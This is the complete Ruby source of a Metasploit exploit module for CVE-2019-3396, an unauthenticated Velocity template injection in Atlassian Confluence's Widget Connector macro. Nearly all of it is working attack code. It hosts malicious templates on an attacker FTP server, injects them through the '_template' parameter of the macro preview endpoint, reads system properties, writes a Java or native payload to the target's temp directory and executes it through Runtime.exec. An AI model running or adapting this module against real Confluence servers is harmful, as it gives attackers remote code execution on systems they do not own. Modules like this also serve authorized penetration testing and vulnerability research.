Atlassian Confluence Widget Connector Macro Velocity Template Injection

`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::EXE  
include Msf::Exploit::FileDropper  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::Remote::FtpServer  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "Atlassian Confluence Widget Connector Macro Velocity Template Injection",  
'Description' => %q{  
Widget Connector Macro is part of Atlassian Confluence Server and Data Center that  
allows embed online videos, slideshows, photostreams and more directly into page.  
A _template parameter can be used to inject remote Java code into a Velocity template,  
and gain code execution. Authentication is unrequired to exploit this vulnerability.  
By default, Java payload will be used because it is cross-platform, but you can also  
specify which native payload you want (Linux or Windows).  
  
Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, from version  
6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are affected.  
  
This vulnerability was originally discovered by Daniil Dmitriev  
https://twitter.com/ddv_ua.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Daniil Dmitriev', # Discovering vulnerability  
'Dmitry (rrock) Shchannikov' # Metasploit module  
],  
'References' =>  
[  
[ 'CVE', '2019-3396' ],  
[ 'URL', 'https://confluence.atlassian.com/doc/confluence-security-advisory-2019-03-20-966660264.html' ],  
[ 'URL', 'https://chybeta.github.io/2019/04/06/Analysis-for-【CVE-2019-3396】-SSTI-and-RCE-in-Confluence-Server-via-Widget-Connector/'],  
[ 'URL', 'https://paper.seebug.org/886/']  
],  
'Targets' =>  
[  
[ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA }],  
[ 'Windows', { 'Platform' => 'win', 'Arch' => ARCH_X86 }],  
[ 'Linux', { 'Platform' => 'linux', 'Arch' => ARCH_X86 }]  
],  
'DefaultOptions' =>  
{  
'RPORT' => 8090,  
'SRVPORT' => 8021,  
},  
'Privileged' => false,  
'DisclosureDate' => 'Mar 25 2019',  
'DefaultTarget' => 0,  
'Stance' => Msf::Exploit::Stance::Aggressive  
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base to Confluence', '/']),  
OptString.new('TRIGGERURL', [true, 'Url to external video service to trigger vulnerability',  
'https://www.youtube.com/watch?v=dQw4w9WgXcQ'])  
])  
end  
  
# Handles ftp RETP command.  
#  
# @param c [Socket] Control connection socket.  
# @param arg [String] RETR argument.  
# @return [void]  
def on_client_command_retr(c, arg)  
vprint_status("FTP download request for #{arg}")  
conn = establish_data_connection(c)  
if(not conn)  
c.put("425 Can't build data connection\r\n")  
return  
end  
  
c.put("150 Opening BINARY mode data connection for #{arg}\r\n")  
case arg  
when /check\.vm$/  
conn.put(wrap(get_check_vm))  
when /javaprop\.vm$/  
conn.put(wrap(get_javaprop_vm))  
when /upload\.vm$/  
conn.put(wrap(get_upload_vm))  
when /exec\.vm$/  
conn.put(wrap(get_exec_vm))  
else  
conn.put(wrap(get_dummy_vm))  
end  
c.put("226 Transfer complete.\r\n")  
conn.close  
end  
  
# Handles ftp PASS command to suppress output.  
#  
# @param c [Socket] Control connection socket.  
# @param arg [String] PASS argument.  
# @return [void]  
def on_client_command_pass(c, arg)  
@state[c][:pass] = arg  
vprint_status("#{@state[c][:name]} LOGIN #{@state[c][:user]} / #{@state[c][:pass]}")  
c.put "230 Login OK\r\n"  
end  
  
# Handles ftp EPSV command to suppress output.  
#  
# @param c [Socket] Control connection socket.  
# @param arg [String] EPSV argument.  
# @return [void]  
def on_client_command_epsv(c, arg)  
vprint_status("#{@state[c][:name]} UNKNOWN 'EPSV #{arg}'")  
c.put("500 'EPSV #{arg}': command not understood.\r\n")  
end  
  
# Returns a upload template.  
#  
# @return [String]  
def get_upload_vm  
(  
<<~EOF  
$i18n.getClass().forName('java.io.FileOutputStream').getConstructor($i18n.getClass().forName('java.lang.String')).newInstance('#{@fname}').write($i18n.getClass().forName('sun.misc.BASE64Decoder').getConstructor(null).newInstance(null).decodeBuffer('#{@b64}'))  
EOF  
)  
end  
  
# Returns a command execution template.  
#  
# @return [String]  
def get_exec_vm  
(  
<<~EOF  
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime', null).invoke(null, null).exec('#{@command}').waitFor()  
EOF  
)  
end  
  
# Returns checking template.  
#  
# @return [String]  
def get_check_vm  
(  
<<~EOF  
#{@check_text}  
EOF  
)  
end  
  
# Returns Java's getting property template.  
#  
# @return [String]  
def get_javaprop_vm  
(  
<<~EOF  
$i18n.getClass().forName('java.lang.System').getMethod('getProperty', $i18n.getClass().forName('java.lang.String')).invoke(null, '#{@prop}').toString()  
EOF  
)  
end  
  
# Returns dummy template.  
#  
# @return [String]  
def get_dummy_vm  
(  
<<~EOF  
EOF  
)  
end  
  
# Checks the vulnerability.  
#  
# @return [Array] Check code  
def check  
checkcode = Exploit::CheckCode::Safe  
begin  
# Start the FTP service  
print_status("Starting the FTP server.")  
start_service  
  
@check_text = Rex::Text.rand_text_alpha(5..10)  
res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}check.vm")  
if res && res.body && res.body.include?(@check_text)  
checkcode = Exploit::CheckCode::Vulnerable  
end  
rescue Msf::Exploit::Failed => e  
vprint_error(e.message)  
checkcode = Exploit::CheckCode::Unknown  
end  
checkcode  
end  
  
# Injects Java code to the template.  
#  
# @param service_url [String] Address of template to injection.  
# @return [void]  
def inject_template(service_url, timeout=20)  
  
uri = normalize_uri(target_uri.path, 'rest', 'tinymce', '1', 'macro', 'preview')  
  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'headers' => {  
'Accept' => '*/*',  
'Origin' => full_uri(vhost_uri: true)  
},  
'ctype' => 'application/json; charset=UTF-8',  
'data' => {  
'contentId' => '1',  
'macro' => {  
'name' => 'widget',  
'body' => '',  
'params' => {  
'url' => datastore['TRIGGERURL'],  
'_template' => service_url  
}  
  
}  
}.to_json  
}, timeout=timeout)  
  
unless res  
unless service_url.include?("exec.vm")  
print_warning('Connection timed out in #inject_template')  
end  
return  
end  
  
if res.body.include? 'widget-error'  
print_error('Failed to inject and execute code:')  
else  
vprint_status("Server response:")  
end  
  
vprint_line(res.body)  
  
res  
end  
  
# Returns a system property for Java.  
#  
# @param prop [String] Name of the property to retrieve.  
# @return [String]  
def get_java_property(prop)  
@prop = prop  
res = inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}javaprop.vm")  
if res && res.body  
return clear_response(res.body)  
end  
''  
end  
  
# Returns the target platform.  
#  
# @return [String]  
def get_target_platform  
return get_java_property('os.name')  
end  
  
# Checks if the target os/platform is compatible with the module target or not.  
#  
# @return [TrueClass] Compatible  
# @return [FalseClass] Not compatible  
def target_platform_compat?(target_platform)  
target.platform.names.each do |n|  
if n.downcase == 'java' || target_platform.downcase.include?(n.downcase)  
return true  
end  
end  
  
false  
end  
  
# Returns a temp path from the remote target.  
#  
# @return [String]  
def get_tmp_path  
return get_java_property('java.io.tmpdir')  
end  
  
# Returns the Java home path used by Confluence.  
#  
# @return [String]  
def get_java_home_path  
return get_java_property('java.home')  
end  
  
# Returns Java code that can be used to inject to the template in order to copy a file.  
#  
# @note The purpose of this method is to have a file that is not busy, so we can execute it.  
# It is meant to be used with #get_write_file_code.  
#  
# @param fname [String] The file to copy  
# @param new_fname [String] The new file  
# @return [void]  
def get_dup_file_code(fname, new_fname)  
if fname =~ /^\/[[:print:]]+/  
@command = "cp #{fname} #{new_fname}"  
else  
@command = "cmd.exe /C copy #{fname} #{new_fname}"  
end  
  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")  
end  
  
# Returns the normalized file path for payload.  
#  
# @return [String]  
def normalize_payload_fname(tmp_path, fname)  
# A quick way to check platform insteaf of actually grabbing os.name in Java system properties.  
if /^\/[[:print:]]+/ === tmp_path  
Rex::FileUtils.normalize_unix_path(tmp_path, fname)  
else  
Rex::FileUtils.normalize_win_path(tmp_path, fname)  
end  
end  
  
# Exploits the target in Java platform.  
#  
# @return [void]  
def exploit_as_java  
  
tmp_path = get_tmp_path  
  
if tmp_path.blank?  
fail_with(Failure::Unknown, 'Unable to get the temp path.')  
end  
  
@fname = normalize_payload_fname(tmp_path, "#{Rex::Text.rand_text_alpha(5)}.jar")  
@b64 = Rex::Text.encode_base64(payload.encoded_jar)  
@command = ''  
  
java_home = get_java_home_path  
  
if java_home.blank?  
fail_with(Failure::Unknown, 'Unable to find java home path on the remote machine.')  
else  
vprint_status("Found Java home path: #{java_home}")  
end  
  
register_files_for_cleanup(@fname)  
  
if /^\/[[:print:]]+/ === @fname  
normalized_java_path = Rex::FileUtils.normalize_unix_path(java_home, '/bin/java')  
@command = %Q|#{normalized_java_path} -jar #{@fname}|  
else  
normalized_java_path = Rex::FileUtils.normalize_win_path(java_home, '\\bin\\java.exe')  
@fname.gsub!(/Program Files/, 'PROGRA~1')  
@command = %Q|cmd.exe /C "#{normalized_java_path}" -jar #{@fname}|  
end  
  
print_status("Attempting to upload #{@fname}")  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")  
  
print_status("Attempting to execute #{@fname}")  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)  
end  
  
  
# Exploits the target in Windows platform.  
#  
# @return [void]  
def exploit_as_windows  
tmp_path = get_tmp_path  
  
if tmp_path.blank?  
fail_with(Failure::Unknown, 'Unable to get the temp path.')  
end  
  
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))  
@fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")  
new_fname = normalize_payload_fname(tmp_path,"#{Rex::Text.rand_text_alpha(5)}.exe")  
@fname.gsub!(/Program Files/, 'PROGRA~1')  
new_fname.gsub!(/Program Files/, 'PROGRA~1')  
register_files_for_cleanup(@fname, new_fname)  
  
print_status("Attempting to upload #{@fname}")  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")  
  
print_status("Attempting to copy payload to #{new_fname}")  
get_dup_file_code(@fname, new_fname)  
  
print_status("Attempting to execute #{new_fname}")  
@command = new_fname  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)  
end  
  
  
# Exploits the target in Linux platform.  
#  
# @return [void]  
def exploit_as_linux  
tmp_path = get_tmp_path  
  
if tmp_path.blank?  
fail_with(Failure::Unknown, 'Unable to get the temp path.')  
end  
  
@b64 = Rex::Text.encode_base64(generate_payload_exe(code: payload.encoded, arch: target.arch, platform: target.platform))  
@fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(5))  
new_fname = normalize_payload_fname(tmp_path, Rex::Text.rand_text_alpha(6))  
register_files_for_cleanup(@fname, new_fname)  
  
print_status("Attempting to upload #{@fname}")  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}upload.vm")  
  
@command = "chmod +x #{@fname}"  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm")  
  
print_status("Attempting to copy payload to #{new_fname}")  
get_dup_file_code(@fname, new_fname)  
  
print_status("Attempting to execute #{new_fname}")  
@command = new_fname  
inject_template("ftp://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{Rex::Text.rand_text_alpha(5)}exec.vm", timeout=5)  
end  
  
def exploit  
@wrap_marker = Rex::Text.rand_text_alpha(5..10)  
  
# Start the FTP service  
print_status("Starting the FTP server.")  
start_service  
  
target_platform = get_target_platform  
if target_platform.nil?  
fail_with(Failure::Unreachable, 'Target did not respond to OS check. Confirm RHOSTS and RPORT, then run "check".')  
else  
print_status("Target being detected as: #{target_platform}")  
end  
  
unless target_platform_compat?(target_platform)  
fail_with(Failure::BadConfig, 'Selected module target does not match the actual target.')  
end  
  
case target.name.downcase  
when /java$/  
exploit_as_java  
when /windows$/  
exploit_as_windows  
when /linux$/  
exploit_as_linux  
end  
end  
  
# Wraps request.  
#  
# @return [String]  
def wrap(string)  
"#{@wrap_marker}\n#{string}#{@wrap_marker}\n"  
end  
  
# Returns unwrapped response.  
#  
# @return [String]  
def clear_response(string)  
if match = string.match(/#{@wrap_marker}\n(.*)\n#{@wrap_marker}\n/m)  
return match.captures[0]  
end  
end  
end  
`